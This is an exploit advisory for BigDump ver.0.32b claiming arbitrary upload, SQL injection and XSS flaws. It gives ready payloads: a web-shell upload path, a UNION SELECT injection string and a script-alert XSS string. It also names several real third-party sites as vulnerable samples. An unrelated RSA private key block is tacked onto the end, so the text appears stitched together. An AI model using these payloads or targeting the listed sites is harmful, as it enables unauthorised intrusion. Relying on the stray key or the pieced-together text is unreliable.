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INDEPENDENT SECURITY RESEARCHER 
PENETRATION TESTING SECURITY
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# Author: Ur0b0r0x
# Tiwtte: @Ur0b0r0x
# Email:  ur0b0r0x_@live.com
# Line:   GreyHat
# Home:   cyberpunk-ur0x.blogspot.com


# Exploit Title: BigDump ver.0.32b - Arbitrary Upload / Cross-Site Scripting / Sql Injection Vulnerabilities
# intitle:"BigDump ver.0.32b"
# Date: 28/11/2012
# Author: Ur0b0r0x
# Url Vendor: http://www.ozerov.de/bigdump/
# Vendor Name: BigDump
# Tested On: Backtrack R3 / Linux Mint
# Type: php

------------------- Agreement --------------------
[25/11/2012] - Vulnerability discovered
[27/11/2012] - Vendor notified Dont responsed
[28/11/2012] - Public disclosure 
--------------------------------------------------

# Expl0it/P0c ###################
http://site.com/bigdump.php?start=  < Sql Vulnerability Path >
http://site.com/bigdump.php?start=  < Xss Vulnerability Path >
http://site.com/bigdump.php         < Arbitrary Upload  Path >

# Expl0it/P0c/upload ###############
Input $ch = curl_init("http://site.com/bigdump.php?start=shell.php")
Output $ch = curl_init("http://site.com/bigdump/uploads/shell.php")

# Expl0it/P0c/Sql ################### 
+union+select+1,2,3,4,5,6,7,8,9,10--+

# Expl0it/P0c/Xss ################### 
"><script>alert(String.fromCharCode(88,83,83))</script>

# Vulnerability/C0de/###################
<form method="POST" action="<?php echo ($_SERVER["PHP_SELF"]); ?>?action=step3" enctype="multipart/form-data">
<input type="hidden" name="MAX_FILE_SIZE" value="$upload_max_filesize">
<p>Dump file: <input type="file" name="dumpfile" accept="*/*" size=60"></p>
<p><input type="submit" name="uploadbutton" value="Upload"></p></form>

# Samples/Arbitrart_Upload/Sql/Xss ####################
http://www.fs7a.net/vb/1/bigdump.php
http://www.lis186.com/dump/bigdump.php
http://bigw3.com/bigdump.php
http://twin.skr.jp/bigdump/bigdump.php
http://www.fs7a.net/vb/1/bigdump.php?start=%
http://www.lis186.com/dump/bigdump.php?start=%
http://bigw3.com/bigdump.php?start=%
http://twin.skr.jp/bigdump/bigdump.php?start=%

-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQD995aYvrD2mK2fwwQr3FoAAprFLfMAiwR8cQUZW2XWDUSNJdvl
Mq/1qym16+Yx7AVmXbsdCzqV/zeX+VUg6fUUWFwzNru6akjOlEHnSpNPxfJaCOEi
2AFovRie8LJyXtmXf1VFVU7l33/OBUsGJAUa2H4bR8ChTUffSHqkoFLE5wIDAQAB
AoGBANJgFc/RpqWfM7Pzx7DNh4AaqDpOJc19Wun6dU7b9y+pLe/+PHlP05Kdhp+8
GaOg75gsbKNSeeVm1JZ/Y5UwOGJLn06W8PaBgkNG+b6tv9iRV7jSubEscwfGOXSX
X5Hi9XP02MOrEsqOcgl6Xqpf8//fauhem8a4/iftk2hG3ngBAkEA/4C5QQePSOz/
WyypDfUC5Nr5h32zq5bvRY++v7ydzeSRQD8uri66zZuz0gGTzjGdyBUb2OuTDT4R
8RUcW1x9QQJBAP52GYGDg/+EE7ABX4zT/ZOHJScjlezxbwLiTsvWoESRUrQftLOL
Wvl2IpeYpWvKIjTzyb5WH+IBWPFpM6RfsCcCQQDnqrDOrOsXhYSYB+uVMyYXmhEM
8EYb/HQhj4+2THCNQoUNSvyphMduLJKkhTeei1B0HeetDRS9uh0Mika29CrBAkAM
BVg/Hg9mSr8DWY1CAeHAzmma57t1bhJoeHhweLspghP+HmFS+gpaLpKDxtpJtUrY
ZYvqSfdHnfitruKZqUuRAkAti8p7b53+cFSm14WPNtdhJQnxniUcSKBtNm5ExO7J
X54eZI4iddc9xnP4rySfwz933FhMRF9Eh3gPUYAPBpp/
-----END RSA PRIVATE KEY-----